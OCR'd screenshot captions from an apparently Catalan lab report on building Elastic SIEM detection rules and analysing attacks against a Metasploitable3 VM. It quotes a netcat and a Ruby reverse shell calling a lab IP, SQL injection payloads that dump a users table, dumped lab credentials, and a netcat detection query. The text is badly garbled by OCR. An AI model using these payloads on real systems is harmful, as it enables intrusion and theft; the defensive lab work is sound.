Captura 59: Creacio i eliminacié amb vssadmin

Different

107

Add data



Captura 60: Detecci6 de signal volume shadow copy

o A Signals (SIEM Detections)

2lgnal cournt

Signals
Captura 61: Regla nmap

@V Overview Hosts Network Detections Timelines

Nmap Process Activity s

Failure History

Definition About
Index patterns Description Reference URLs

Custom query

False positive examples

Stackby  signal.rule.risk_score

Open signals

Schedule

Runs every
S

Additional look-back time

losed signals

event.category

( Updating




Captura 63: Deteccid del signal nmap

risk_score ~

Signal count stsckby  signal.ule

Opensignals  Cl

Signals

& Close selected 3
@timestamp L Rule Version Method Severity Risk Score event.module event.action event.category

8.2.2.5.2. Creacio de regles
Captura 64: Reverse shell nc

2

Captura 65: Consulta d'utilitzacié de nc

& v  Last 24 hours Show dates @

X 1y Untitled Tin

anp | Filter ~ [¥) ~ process.name: (nc or ncat or netcat or netcat.openbsd or netcat.traditional) and event.action: ("proc  KQL Raw events v
&  +Add filter
Columns  @timestamp - message event.category event.action host.name sourc
> ﬁ o] Process nc ( 2580) by us... i — pr 404 —
g root | @ metasploitable3-ub1404 in | B3 /root = started process >-nc (2580) nc 192.168.43.142 4444 (2134)

# fdd56f8c6f606697bf310f3a626d47781albd5d8

3 Process nc (PID: 2580) by user root STARTED

cstack.misti

:40:55.376 Process ncat (PID: 3509) by ... [— pri

> B o A,
ncat localhost 4444  via parent process | (3491)

2 root elasticstack.mistic.lab in: B3 /root started process | > ncat (3509)

# 08012273ada2bcabbe956c5dffeec95e2cle08ed

© Process ncat (PID: 3509) by user root STARTED

cstack.misti

Process ncat |

> [ O lapm,

2 s . >_ncat (3475) ncat -lvp 4444 -e /bin/bash  via

&2 root elasticstack.mistic.lab in . E3 [root = started proces:

(3371)

9 v~ of g Events @® Updated 1 minute ago
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Captura 66: Creacio de regla 1

N

B  seM Detections | Signal detection rules | Greate e =& @

Create new rule e

®
i
— o Define rule
80
Index patterns  Reset to default index patterns
& auditbeat-* x (<] .
E: Enter the pattern of Elasticsearch indices where you would like this rule to run. By default, these will include index patterns defined in SIEM advanced settings. g
a Custom query Import query from saved timeline E
5 [®)~ process.name: (nc or ncat or netcat or netcat.openbsd or netcat traditional) and event.action: ("process_started”) KaL =
. @ + Add filter
=
&
¢
@ 2 Aboutrule
@
3 Schedule rule
=

Captura 67: Creacio de regla 2

[ sEm Detections  Signal detection ruies - Create o = @
e About rule
@
i
i Name
ol utilitzacio_nc
B Description
e Shha detectat la utilitzacié del ng.
<
@
5
N 3
a =
D L
= Severity Risk score
» - -
* Medium ~ B 47
g Y [ 25 50 7 100
@ Tags Optional
Linux X Custom X = Network X [~]
@
Type one or more custom ides ule. Press enter after each tag to begin a new one.
@
> Advanced settings
@
=
Captura 68: Creacio6 de regla 3
E W seM Detections | Signal detection rules | Create e = @
° About rule & Edit
@
i Name Risk score
utilitzacio_nc a7
& - ' o
Description Investigate detections using this timeline template
S'ha detectat |a utilitzacié del nc. Default blank timeline
e Severity Tags —
* Medium Linux  Custom  Network <
@ 2
8 2
& =
@ © screduie nie
=]
Runs every
g 5 Minutes
@ Rules run periodically and detect signals within the specified time frame.
9 Additionallook-back time  Optional
o 1 Minutes

Adds time 10 the look-back period 16 pr

&

110



Signals (SIEM Detections)

ignals (SIEM Detections)  External alerts

Signal count

Signals

@timestamp Rule

Captura 69: Signal d’utilitzacié nc

Version Method Severity Risk Score event modul

Captura 70: Port scan

111

Stackby  signal.rule.risk_scor

Open signals

event action

Closed signals

event.category




Captura 71: Alerta de port scan

Signals (SIEM Detections) External alerts

External alert count e, [T
Showing: 348 external alerts

@ suricata

[ -

Showing: 348 external alerts

= @timestamp event.module event.dataset event.category event.severity observer.name host.name mes

> Apr12, 2020 @ 12:50:48.041 suricata suricata.eve network_traffic 2 —_ suricata.mistic. lab Pot

> Apr 12, 2020 @ 12:50:47.940 suricata suricata.eve network_traffic 2 —_ suricata.mistic.lab Pot

Captura 72: Consulta de port scan

O] v Last 24 hours Show dates @

X §¥ PortScan Description

suricata.eve.alert.category: "Potentially Bad Traffic" X AND | | suricata.eve.alert.metadata.former_category: "HUNTING" X

oR

suricata.eve.alert.category: "Attempted Information Leak" X AND | suricata.eve.alert. metadata.former_category: "HUNTING" X

Drop here to build an OR query

ano | Filter ~  [§)~ Search KQL ® Rawevents
®  + Add filter
= Columns @timestamp |- message event.category event.action host.name soure
> ﬁ- (9 iApri12, 2020 @ 12:50:48.041 Potentially Bad Traffic network_traffic — suricata.mistic.lab 192
# 2010936 @ ET & SCAN Suspicious inbound to Oracle SQL port 1521 &
http://doc.emergingthreats.net/2010936 1
. BOB i 1pkts tep 1:VKnLQLbvAvQDES7gs0OeJJMKvI8g=
@ Apr 12, 2020 @ 12:50:48.041 Source (100.00%) 0B ¥ 1pkts > Destination
1192.168.43.142 : (40275 4 < ! (0.00%) OB 0 pkts 192.168.43.103 : 1521 0
> hu O (Apri2, 2020 @ 12:50:47.940  Potentially Bad Traffic network_traffic — suricata.mistic.lab 192,
# 2010936 G ET & SCAN Suspicious inbound to Oracle SQL port 1521
http://doc.emergingthreats.net/2010936 1
60B © 1pkts tcp 1:j6rpzN8t+elIRQOUMISITSXXGT4=
@ Apr 12, 2020 @ 12:50:47.940 Source (100.00%) 60B £ 1pkts N Destination
192.168.43.142 : 140274 0 < (0.00%) 0B 0 pkts 192168.43103 : 11521 0

112



N

© B 8 B O

B =2 Y G a4 & b

@

I

F @

il

& 4 < Y §

i

Captura 73: Creacio de regla port scan 1

SIEM  Detections = Signal detection rules  Create

< Back to signal detection rules

Create new rule sm

° Define rule

Index patterns © Reset to default index patterns
filebeat-* x [<]
Enter the pattern of Elasticsearch indices where you would iike this rule 1o run, By default, these will include index patterns defined in SIEM advanced settings.
Custom query import query from saved timeline
B Search KaL

@  timeline-filter-drop-area x | + Add filter

About rule

Schedule rule

Captura 74: Creacio de regla port scan 2

SIEM ' Detections = Signal detection rules ' Create

Index patterns Filters
filebaat-* timeline-filter-drop-area

e About rule

Name
Port_Scan
Description

Possible scan de Ports.

Severity Risk scare
® Medium > o s 50 7% w0 50

Tags Optional
Custom x  Suricata x o

Type ane or more custom identifying tags for this rule. Press enter after each tag to begin a new one.

> Advanced settings
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Captura 75: Creacio de regla port scan 3

B  seM Detections | Signal detection rules | Greate e =& @
° About rule & Edit
Name Risk score
Port_Scan 60
Description Investigate detections using this timeline template
Possible scan de Ports. Default blank timeline
Severity Tags
® Medium Custom  Suricata

Timeline ~

o Schedule rule

Runs every
5 Minutes  ~
Rules run periodically and detect signals within the specified time frame,
Additional look-back time  Optional
1 Minutes

Adds time to the look-back period to prevent missed signals.

Create rule without activating it

Captura 76: Signal de port scan

B sev Detections  Signals (SIEM Detections) e =& @

[~ Search KQL [~ Last 24 hours Show dates

©  +Addfiter

Signals (SIEM Detections) ~ External alerts

Signal count

Stackby  signal.rule.risk_score hd
Showing: 12 signals ¢
@
N =
. o0 7 ]
5 E
5 e 0o S
‘ ear 0
2
. |
) 04t 2000 0411 2300 0120200 " [rereee
Signa Is Open signals Closed signals
Shawing 12 signals Selected 0 signals & Close selected 3 Select all 12 signals
@timestamp L Rule Version Methad Severity Risk Score event.module event.action event.category
& @ > AN12,2009132830.491  |PortScan 1 auery edium 60 suricata - network_traffic
S B > |Apri2, 2020 @1326:30.491 Port_Scan 1 query medium 60 suricata - network_traffic
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[/ ] 4 External alerts

External alert count

External alerts

8.2.2.6.

8.2.2.6.1.

Captura 78: Elastic SIEM deteccié d’alarmes

event.severity

Analisi d’atacs

untuz.10

Last 4 hours

observer.name hast.name wessage

115

Metasploitable 3: Ubuntu 14
Captura 77: Realitzacio del nmap

untu Linu

Stack by

agent.type
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SIEM = Detections = Signals (SIEM Detections)

Captura 79: Elastic SIEM detecci6 signal

e O

@&+ Add filter
Signals (SIEM Detections) External alerts
Slgnal Count Stackby  signal.rule.risk_score ~
Showing: 10 signals <
@
10 =
9 @60 0 ]
8 E
7 -
6
5
"
3
2
1
0
04130900 04130930 04131000 0413100 s13 1100 [P TE 04131200 0413123
Signals Open signals Closed signals
Showing 10 signals Selected 0 signals @ Close selected  [3 Select all 10 signals
@timestamp |- Rule Version Method Severity Risk Score ‘event module event action event categary
> [ Apri3, 2020 @ 12:50:47339 Porl_Scan 1 query medium 80 suricata - network_traffic
> | Apri3, 2020 @ 12:50:47338 Porl_Scan 1 query medium 80 suricata - network_traffic

SIEM = Detections External alerts

B~ Search

@  +Addfiter

Btimestamp event.module

source.bytes
source.ip

source packets

source.port
suricata.ave.alert.category
suricata.eve.alert.gid

suricata.eve alent.metadata created_at

suricata.eve.alert.metadata. updated_at

e ow o owow oW

suricata.eve.alert.rev

Captura 80: Elastic SIEM detall d’alarma

KQL @~ Last4hours

event dataset event.category event severity observer.name
a2

192.168.43.142

a

41108

‘Web Application Attack

1

201007 30

2010.07.30

5

ET SCAN Nmap Scripting Engine User-Agent

t | suricata.eve.alert.signatura Detacted (Nmap Scripting Engine)
# | suricata eve alert signature_id 2008358
t | suricata eve event_type alert
t | suricata.eve.llow_id 1185429281815791
t | suricata.eve.http.http_content_type textihtmi
t | suricata.eve.hip.protocel HTTP/L1
t | suricata.eve.n_iface ens33
25 v of 102 External alerts

Captura 81: Elastic SIEM:

Events

SIEM Hosts metasploitable3-ubl4...

[ v Search

®  +Addfiter

@timestamp
> TApri3 2020 @ 12:47:20212 | —

© 133.562148ms.

O Apr 13,2020 @ 12:47:27.824
@ Apr 13,2020 @ 12:47:27.957

> 1Apri3, 2020 @ 124729212 | —

O 133.581698ms
© Apr 13,2020 @ 12:47:27.824
@ Apr 13,2020 @ 12:47:27.957

> 1Apri3, 2020 @12:47:20212 —

(@ 133.560504ms.
© Apr 13,2020 @ 12:47:27.824
@ Apr 13,2020 @ 12:47:27.957

> 1Apri3 2020 @12:47:29212 | —

@© 112.406355ms

© Apr 13,2020 @ 12:47:27.711
© Apr 13,2020 @ 12:47:27824

e =

Show dates -

host.name

Timeline ~

@ Updated 1 minute ago

Detecci6 de paquets de PacketBeat

o @

KOL [V Apri3,2020 @ 12:47:00.00 > Apr13,2020 @ 12:47:3818

host.name ‘event.module event.dataset event.action
metaspioitabied-ub1404 - fiow network_flow
16KB | ldpkis | tcp | T:YUK/YNMFKmKSOQONGbQBOPAGgUck=
Source (3.48%) 5708 8 pkts Destination
192168.43142 : | 57820 (96.52%) 15.4K8 B pkts 192.168.43.103 :
metaspioitable3-ub1404 - flow network_flow
12k8 | 10pkts | top | TILQWPRADIOXAWGOQSI7mgOxisY=
Source (2880%) 3668 5 pkts Destination
192.168.43142 : | 57822 (71.20%) 9058 5 pkts 192168.43103 :
metasploitabled-ub1404 - fiow network_flow
14KB | 9pkts | tcp | 1r/OgOSZPMFDAOIbYefkbERWLS=
Source (24.90%) 3668 5 pkts. Destination
192168.43142 : | 46518 (7510%) 11K8 4pxts 192168.43103
metasploitable3-ubl404 - flow network_flow
231KB 17 pkts tcp 1:bawikN49fpGHVUZSXbrFUDWxgPs=
Source (3.30%) 7828 9 pkts Destination
192168.43142 : | 57814 (96.70%) 22.4K8 8pkis 192168.43103 :

3500

631

8181

3500

25 v of 18578 Events
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user.name

<

@
<
3
€
=

©® Updated 2 minutes ago




Captura 82: Elastic SIEM: timeline nmap

E B J Events o = @
‘
i ‘pac| e D 0! phoitabl b 140
Authentications Uncommon processes
# @timestamp - t.categ host i
Events

metaspioitable3-uby

Events

8.2.2.6.1.1. UnreallRCD

Captura 83: Importar informacié de la Metasploit framework console

117



Captura 84: Llistar serveis del Metasploit framework

2ubuntu2.10 Ubuntu Linux;

Captura 85: Exploit unreal_ircd_3281_backdoor

—ubl404

118



N

I

N

8B O

I

N

8B O

o]

g e v G

&

Captura 86: No alarma de l'unreal_ircd_3281_backdoor

SIEM = Detections External alerts

Search

© v

©  +Addfiter

External alert count

Showing: 2 external dlerts

B11910

External alerts

Showing: 2 external dlerts

= @timestamp & event.module
> 1Apri4, 2020 @19:29:43172  {suricata
> IApri4, 2020 @19:15:47.416  |suricata

KoL [~

Last 30 minutes

w8 04141920 04141825 11830

t.dataset event.severity observer.name
suricata.eve network_traffic 1 -
suricata.eve network traffic 1 =

Captura 87: Processos no comuns de ['unreal_ircd_3281_backdoor 1

SIEM = Hosts metasploitable3-ub14

Search

B
@  +Addfiter

user aunenucauens

~ (0 success

All values retumed zero

Authentications

Uncommon processes

Shawing: 2 processes

Process name

apache2

fruby

Uncommon processes

Uncommon processes

* 0 fail

All values returned zero

Events  External alerts

Instances Last command
i jusr/sbin/apachez
+2 Mora
2 fruby
+3 More

KQL Last 30 minutes

[

unique s

@ 17 source

Dest

Lastuser

wiw-data

{{boba_fett

Show dates
Stackby  eventmodule v
® suicata
111835
G
hest.name messa
i suricata mistic.iab Potent
suricata.misticab Potent

Show dates

B4141920

Captura 88: Processos no comuns de /'unreal_ircd_3281_backdoor 2

SIEM = Hosts metasploitable3-ub14

Search

B
@  +Addfiter

user aunenucauens

~ (0 success

All values retumed zero

Authentications

Uncommon processes

Showing: 2 processes

Process n
- -rsocket

apached 4 .y

Uncommon processes

Uncommon processes

* 0 fail

All values returned zero

Events External alerts

KoL @~

Last 30 minutes

unique s

@ 17 source

Dest

= exitif fork:c=TCPSacket new|"192.188.43.142"'2345"); while{cmd=c.gets);10.popen(cmd,'r} liofc.print io.readlend

firuby

-
3 More

S

119

Show dates

B4141920

© 14 destination

04-14 1830

© 14 destination

04-14 1830

@

1

@

Timeline ~

Timeline ~

Timeline ~



Captura 89: Timeline del port 2345 unreal_ircd_3281_backdoor 1

E B sev Hosts metasploitable3-ubld... | Events
@ Overview Hosts Network Detec * 7 Untitled Timeline Description
®
@ B v Search destination.port: "2345" %
fil
& ©  + Addfiler rop here to buid an OR query
wo Fiter ~ [~  Search
= metasploitable3-ubl14 ©  +acaier
@) Lastevent 43 minutes ago Columns ~ @timestamp - messoge event.category event.action host.name sourc
) Apr 18, 2020'@ 19:37:39 Source (5117%) 3718 Spkis Destination
a8 © Apr 14, 2020 @ 19:31:50.049 192188.43103 - | 37534 (48.83%) 3548 5 pKts 192.168.43142 : | 2345
Host ID
@ 492246 > B O lApri4,2020@19:3250002 [— network_traffic network_flaw metasploitable3-ub1404 192
';u First seen (D) 185 536.847625ms sk 10 pkts tep 1ABaIfX2RLBOUKPBIO]yRatSzad =
Jul 29, 2018 @ 15:07:07.051 @ Apr 14, 2020 @ 18:31:38.082 Source (5114%) 3818 5 pits Destination
el . © Apr1d, 2020 @ 19:3158529  {192.168.43103 : | 37534 (48.86%) 3648 5 pkts 19216843142 : | 2345
astseen
& 49 minutes ago > B O [Apr14,2020 @19:32:40003  [— network_traffic network_flow misticad.mistic.lab 182
© 195 725,583300ms 7258 [ 10pkts | tep | 1iBa/fX2RLBOGKPBIO)RatSzad=
@ (@ Apr 14, 2020 @ 19:31:30.323 Source (5117%) 3718 5 pkis Destination
- @ Apr 14,2020@ 193158049 19216843103 : [ 37534 (4883%) 3548 5 pits 19216843142 : 12345
& > I O lApr1a, 2020 @19:32:40.002 | — network_traffic network_flow metasploitable3-ub1404 192
User authentications. © 195 536.947625ms 7458 | 10pkts | tep 14iBa/fX2RLBOAKPBIOjyRalSzq4 =
~ 0 success © Apr 14,2020 @ 19:31:39.092 Source (51.14%) 3818 5 pkts Destination

28 ~ of 28 Events

@ Updated 3 minutes ago

Captura 90: Timeline del port 2345 unreal_ircd_3281_backdoor 2

SIEM = Hosts metasploitable3-ubl4...  Events

@ Overview Hosts Network Deteq X 1y Unfilled Timeine

Description

“ Apri4, 2020 @19:21: 5 Apr 14, 2020 @ 19:51:

'} B~ Search o’ destination.port: "2345” X
fin
© -~ + Addfier } Drop here to build an OR query
@ wo Fiter ~ [+ Search (=5
e metasploitable3-ub14 ©  +acdtier
O = Columns  @timestamp message event.category event.action host.name sourc
a - 40475684165 1
i filebeat
ot ¢ lagent.type lebeat
N 492246 t {agentversion 762
¢ | cestination adaress 192.168.43.142
= Fistseen
Jul 29, 2018 @ 15:07:07.051 # [ destination bytes 25
) @ @ destinationip
Last seen .
# | destination packets
& 51 minutes ago
# I destination.port 2345
@ ¢ lecs.version 140
@ ¢ leventcatsgory network_traffic
o
M @ event.creatsd Apr 14, 2020 @ 19:42:06.139
o) ¢ [levent dataset suricata.eve
User authentications # fevent.duration 726ms
~ 0 success ©leventend Apr 14, 2020 @ 19:31:58.535.
= 28 ~ of 28 Events ® Updated 5 minutes ago

Captura 91: Timeline del procés ruby unreal_ircd_3281_backdoor

[l  s5eM Hosts metasploitabled-ubld..  Events
B~ Search X §y Untitled Timeline Description
@ &  +Addfiter
] 462492206 o2 | | hostname: x | (v
First seen rop here to build an OR query
Jul 29, 2018 @ 15:07:07.051
] wo Fiter ~ [~ Search KOL  ® Rawevents ~
Last seen
g  hourago @ +Add fiiter
] = Columns @timestamp < message event.category event.action host.name source.j
a > R D [Apri4,2020 @19:3144160  Process ruby (PID: 2486} by .. |— process_started metasploitable3-ub1404 -
@ £ boba_fett ® b1204 in| B started process | »_ ruby (2496) ruby -rsocket e
Usar suthantications exit if fork;c= TCPSocket.new("192.168.43.142""2345";while(cmd=c.gets);10.popenicmd,"r"}fio|c.print io.readjend  via parent process | (1)
= ~ (0 success # 9e0170730208¢8363806a0816c86 26¢b05 41110
) © Process ruby (PID: 2496) by user boba_fett STARTED
&
9 All values returned zero
@
@ .
Authentications Uncommon processes
1~ of 1 Events ® Updated 3 minutes ago
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Captura 92: Regla de detecci6 unreal_ircd_3281_backdoor

Bl seM Detections | Signal detection rules | Create

° Define rule

Index patterns
auditbeat-*

° About rule

Name
BackDoor-Ruby

Description
BackDoor-Ruby

Severity
® Critical

e Schedule rule

Runs every

5 Minutes

Rules run periodically and detect signals within the specified time frame.

Captura 93: Signal d'unreal_ircd_3281_backdoor

B sev Detections  Signals (SIEM Detections)

B+~ Search
@  +Addfiter

olygridl courit

Showing: 2 signals

0415 1645

Signals

2 signals

Selected O signals @ Close selected (3 Select all 2 signals

= @timestamp L Rule

> [Apris, 2020 @ 17:14:00.264

[
& @ > Apris, 2020 @ 17:14:09.264

BackDoor-Ruby

BackDoor-Ruby

Version

2

2

Method
query

query

121

Custom query
process.args: ruby and process.args: "-rsocket”

Risk score
a0

Investigate detections using this timeline template
Default blank timeline

Tags
Backdoor | Linux | Ruby

KQL  f@ v Last 30 minutes
Stack by
04151705 04151710
Severity Risk Score event.module
critical 80 system
criticl 80 system

5]
& Edit
& Edit
& Edit

o]

Show dates

signal.rule.risk_score ~

®80 0

04151715

Open signals  Closed signals

event.action event.category
process_stopped -

process started -

Timeline ~

Timeline ~



8.2.2.6.1.2. Aplicacié payroll_app.php
Captura 94: Web servidor

Archivo

Editar Ver Historial Marcadores Herramientas Ayuda

Index of /

<« C @ © & 192.168.43.103

Index of /

Name Last modified Size Description
E] chat/ 2018-07-29 15:18 -
@ drupal/ 2011-07-27 22:17 -

@ payroll app.php 2018-07-29 15:18 1.7K
(C3 phpmyadmin/  2013-04-08 14:06 -

Apache/2.4.7 (Ubuntu) Server at 192.168.43.103 Port 80

Captura 95: Pagina login del payroll_app.php

192.168.43.103/payroll_app.php

| € C @ © & 192.168.43.103/payroll_app.php LR in @ ®

= Payroll Login

| User | |
Password | |

OK

Captura 96: Prova d’SQL Injection

192.168.43.103/payroll_app.php

| € Cc @ © #& 192.168.43.103/payroll_app.php P m o ®

Payroll Login

User |‘ orl=1# |

Password | |
OK
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Captura 97: Acceés a l'aplicacio sense contrasenya ni usuari

1 B +
« c @ © & 192.168.43.103 0@ =
Welcome, ' or 1=1#
~
Username First Name ~ LastName  Salary
leia_organa Leia Organa 9560
luke_skywalker Luke Skywalker 1080
han_solo Han Solo 1200
artoo_detoo Artoo Detoo 22292
c_three_pio C Threepio 3200
ben_kenobi Ben Kenobi 10000
O O ispecor ) Comsola O Depurador T4 Red  {) Editor de estios () Rendimiento 43 Memoria (3 Almacenamiento - Accesibilidad a ;
5 XMR Tpografis Imigenes Medios WS Ofros ersistentes. (] Desactivar caché  Sin limitaci

1] | Q @ [Todos MM

Tipo

Bl Cabeceras Cockies Respuesta  Tiempos

m T i = b = Datos de formulario

tors1el¥

= Contenido de Ia peticion

user-%2740rs 1301X235:

O scicudes  154K8 /731 Btransierido  Finalad

Captura 98: Consulta de relacié de taules i columnes

€ cC @ © & 19216843103 I e @ e noe® =

Welcome, ' OR 1=1 UNION SELECT 1,1,1,CONCAT(TABLE_NAME," - "', Column_name," - ",Data_type) FROM information_schema.columns
WHERE TABLE_SCHEMA = DATABASE()#

7 B

Username First Name Last Name Salary

leia_organa Leia Organa 9560

luke_skywalker Luke Skywalker 1080

han_solo Han Solo 1200

artoo_detoo Artoo Detoo 22222

¢_three_pio c Threepio 3200

ben_kenobi Ben Kenobi 10000 5
& O inpector B Comola O Depurador 14 Red () Editordeeestiios () Rendimiento 1 Memoria (3 Almacenamiento - Accesibilidad
2] | Q @ [fodos HTML CSS5 5 XHR Tpografs 0 =

Captura 99: Resultat de la relacié de taules i columnes

1 1 1 users - username - varchar
1 1 1 users - first name - varchar
1 1 1 users - last name - varchar
1 1 1 users - password - varchar
1 1 1 users - salary - int
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leia_organa

luke skywalker

han_solo

artoo_detoo

¢_three pio

ben_kenobi

darth_vader

anakin_skywalker

jarjar_binks

lando_calrissian

boba_fett

jabba_hutt

greedo

chewbacca

124

Captura 100: Relaci6 usuari i contrasenya

help_me obiwan

like my father beforeme

nerf herder

b00p b33p

PrOt0cO7

thats_no_mOOn

Dark syD3

but_master:(

mesah p@sswOrd

@dmInlstr8r

mandalorianl

my_kinda_skum

hanShOtF1rst

rwaaaaawrs




Captura 101: Accés mitjangant ssh amb l'usuari leia_organa

in the |

Captura 102: Elevacio de privilegis de leia_organa
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Captura 103: Finestra Overview

E B sev overiew o =
B Search KaL v Last 60 minutes Show dates Refresh
® ®  +Addfitter
I Recenttimelines n ] .
) Slgnal Count Stackby  signal.rule.threat.tactic.name
You haven't favorited any timelines yet. Get Showing: 0 signals
= out there and start threat hunting!
@ View all timelines
Security news No data to display
a
a
Have SIEM questions?
B 2020-04-03 '\
=) Join our growing community of Elastic
SIEM users 10 discuss the configuration
o | anduse ol Bastc SEM for treat
4 detection and response.
» External alert count -
Ly Adversary tradecraft 101: Hunting £ 1 Stackby  evenl.module \ View alerts
) for persistence using Elastic S Showing: 0 external slerts
Security -
P 2020-03-24
In this two-part blog series, we set out o
& help security practitioners improve their
visibiity into offensive persistence
techniques. Al values returned zero
New to Elastic SIEM? Take our on-
4 demand training course @
Captura 104: Autenticacions del host
B seM Hosts n b14 6 =
B | o || m | o S - |
@ &  +Addfiter
[
Authentications
]
2 - ® authentication_success
16
& I
@ |
i
08
8 06
04
02
;B o
= 151810 BMISIBIS  OMSIB2)  0LS1025  OMSTEN  OHISIGN 04151840 OSISIB5  BMISIES0  OMSI855 0ME1900 04451905
)
&
v Authentications
Showing: 1 user
@
@ User Successes Failures Last success Last successful source Last failure Last failed source
Ieia_organa 2 ] 26 minutes ago 192.168.43.142
1
=
Captura 105: Processos no comuns
Authentications ~ Uncommon processes  Events  External alerts
Uncommon processes
Showing: 6 processes
Process name Instances Last command Last user
sleep 1 [ sleep root
+1 More
sU 1 lsu root
+1 More
sudo 1 | sudo root
+2 More
bash 2 [-su root
fsshd 3 | sshd: leia_organa@pts/2 | leia_organa
wi 3 (v root
+1 More

Rows per page: 10
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Timeline ~
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a4 = Y

@

=

g e 2 G

@

=

=1

&

|4 < Y

@

© v

SIEM = Network = Flows

Search

©  +Addfiter

B

Source IPs

Shawing: 17 IPs

[ Domain
192.168.43.100 -
192.168.43.101 -
192.168.43.103
127.0.0.1 -
192.168.43.1 —
192.168.43.142
172.17.0.1 -
172281283 o
192.168.40.1
A N

Rows per page: 10

Source countries

Showing: 0 Countries

SIEM = Network

Search

@  +Addfiter

B

w Domain
192.168.43.1
19216843254  —

Source countries

Showing: 0 Countries

Country

Users

Showing: 1 user

User T

lela_organa

SIEM = Network

Search

@  +Addfiter

HTTP Requests

Shawing: 25 requests

192.168.43142

Bytesin

192.168.43103

Autonomous system

Autonomous system

Bytes out &

No items found

1

Method Damain
get, | post 192.168.43.103
get 192.168.43,103
get 192.168.43.103
gt 192.168.43.103
get 192.168.43.103
get 192.168.43.103
get 182.168.43.103
get 192.168.43.103
get 192.168.43,103
get 192.168.43.103

Rows per page: 10 ~

Captura 106: Informacié de Network

e O

Show dates -

KoL B~

Last 60 minutes

Destination IPs

Showing: 25 IPs

Bytesin Byte.. Flows Destina... [ Domain Autonomous system  Byt.. & Bytes out Flows Source ..
12.2G8 2268 518 8 192.168.43.100 - - 55.7G68 13.568 233 4 :’
aace 21408 13 f 192.168.43.108 a8 beE @ 3 £
3.2G8 13.8G8 1] 4 127.00.1 localhost 14.9MB 13.5MB 85 1 E
13.5MB 14.9MB 65 1 192.168.43.142 - - 706.8KB  762.7KB 3 2
1B ame 105 5 B88B LS — - mse rove 325 3
sa95Kk  857.9K8 2 2 192.168.43.255 saaE B B 3
0B 228.1KB 3 2 172.17.255.255 - - 227.4KB 0B 2 1
08 109KB 3 2 230.255.255.250 - - 126.6KB 0B Nn 1
[+:] 80.1KB 1 1 172.28.128.255 108.6KB e 2 1
39.5kB 41.7KB 5 1 192.168.40.255 B0.1KB B 1 1
12 > Rows per page: 10~ 12 3 >
Destination countries
Showing: 4 Countries
Captura 107: Detall source IP
e = @
PR — R e |
Bytesin Bytesout 4 Flows P Domain Autonomous system  Bytes in - Bytes out Flows.
TB2.7KB T705.7KB 2 192.168.43.103 858.3KB 881.BKB 1
0B 1.2K8 1 192.168.43.254 - o 8.7KB BKB 1
1 1
<
@
4
]
. . . E
Destination countries S
Showing: 0 Countries
Flows Source IPs Country Bytes in - Bytes out Flows Destination IPs.
No items found
> >

Group name Group 1D Document count

Captura 108: Timeline de 'URL query

Untitled Timeline Description ~  Last 120 minutes Show dates

o url.path: *Jpayroll_app.php" X

rop here to build an OR query

wo Filter ~ [~ Search KoL ® Rawevents
©  +Add filter
= Columns  @timestamp & message event.category event.action host.name sourc
- T
# [source.port 28384
2 Estatus o The high level status of the transaction. The way to compute this value depends on the
Protocol, bt the result nas a meaning independent of the protocol.
t ftype g The type of the transaction [for example, HTTP, MySQL, Redis, or RUM) or "flow” in case
of flows.

¢ furldomain 182.168.43.103
http://182.168.43.103/payrol_app.php I
N

£ furtun password-&s-OKEuser=%27+0R+1%
301+UNION+ SELECT+null%2Cnult2
Cusername%2Cpassword+FROM+use
rs%23

t lurlpath {payroll_app.php
password=&s=OKEuser=%27+0R 1%
301+ UNION+SELECT+null%2Cnuir2

t [urlquery

CusernameX2CpasswordsFROM+use

Load more

25 ~ of 120 Events @ Updated 1 minute ago
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SIEEM ' Network | 192.168.43103

B~ Search

®

+ Add filter

HTTP Requests

Shawing: 25 requests

Method Damain
get, | post 192.168.43.103
get 192.168.43.103
get 192.168.43.103
get 192.168.43.103
get 192.168.43.103
get 192.168.43.103
get 162.168.43.103
get 182.168.43.103
get 192.168.43.103
get 182.168.43.103

Rows per page: 10 v

Trancnnart | auar Qarritu

B seM Hosts metasploitabled-ubld..
B~ Search
&+ Addfiter

Btimestamp

> Apri5 2020 @18:58:17.784

> lApri5 2020 @18:58:16780 {—

> iApri5, 2020 @ 18:5815.777

> 1Apris 2020 @ 1855814772

Captura 109: Detall del timeline source IP

X ¥y Untitled Timeline Description

e = @

6 @v

Last 120 minutes

i
H
url.path: *Jpayroll_app.php" X i
H
rop here to build an OR query H
wo Fiter ~ [~ Search KOL @ Rawevents
©  + Add filter
Columns ~ @timestamp - message event.category event.action host.name sourc
®/d | 2qy3fnEB_YdBG-0S_wsl I
@/ _index packetbest-7.6.2-2020.04.03-000001
@/ score 1
@ type f_ooc
t teph Lid | BdaeB530-efad-deBa-9830-
fgentesnamarE { 080261000433
t [ agenthostname Emisticad
t tid 45185891-7951-44fd-800d-
e | acat1esadats
t [agentname E misticad.misticlab
t [agent.type packetbeat
t [agent.version i782
# [ client.bytes f621
@l client.ip £192.168.43.1
25 v of 120 Events (® Updated 10 minutes aga

Captura 110: Timeline del host franja horaria

Events

Untitled Timeline Description

X 1

o hast.name: i r

e = @

& B~ Apris 2020 @18:4T: > Apr15, 2020 @18:5 -@

p here to build an OR query

ry: network_traffic” X

wo Filter ~ [ Search KoL ® Rawevents
©  + Add filter

= Columns  @timestamp & message event.category event.action host.name sourc

# 9047802130925251390810752533620187bbA46

© Process sshd (PID: 2651) by user leia_organa START ses
> R O (Apr15 2020 @ 18:48:40045  Login by user leia_organa (UL.. |authentication user_Jogin metaspioitable3-ub1404 192

& leiaorgana | @ | metasploitable3-ub1404 | attempted aloginvia | (2632) withresult | success
© Login by user leia_organa (UID: T111) on ptsi2 (Pl s=o
Source
192168.43142

> I O [Apr15 2020 @18:48:40038  [— authentication flogged-in metasploitable3-ubl404

Sesson | #1

25 v~ of 1820 Events

B seM Hosts metasploitabled-ubld..
B~ Search
&+ Addfiter

Btimestamp

message

> Apri5 2020 @18:58:17.784

> lApri5 2020 @18:58:16780 {—

> [Apr15, 2020 @ 18:58:15.777

> 1Apris 2020 @ 18:56:14772

| 2leiaorgana | @

metasploitable3-ub1404 | attempted a login vi

1 12632) | with resu

success

« incoming

Saurce

49+ of 49 Events

(@ Updated 11 seconds ago

Captura 111: Timeline d’accions 1

Events

X fy Untitied Timeline Description

o hast.name: i Jhd

e = @

& B~ Apris 2020 @18:4T: > Apr15, 2020 @18:5 @

rop here to build an OR query

25 ~ of 1820 Events

wo Fiter ~ [+ Search KOL @ Rawevents
©  +Add filter
= Columns @timestamp L message event.category event.action host.name sourc
Session | # 1 2 leiaorgana @ ub1404 5 (2680) | with result | success
> @ O (Apri5 2020 @852 i— user-iogin 3-ubl404 -
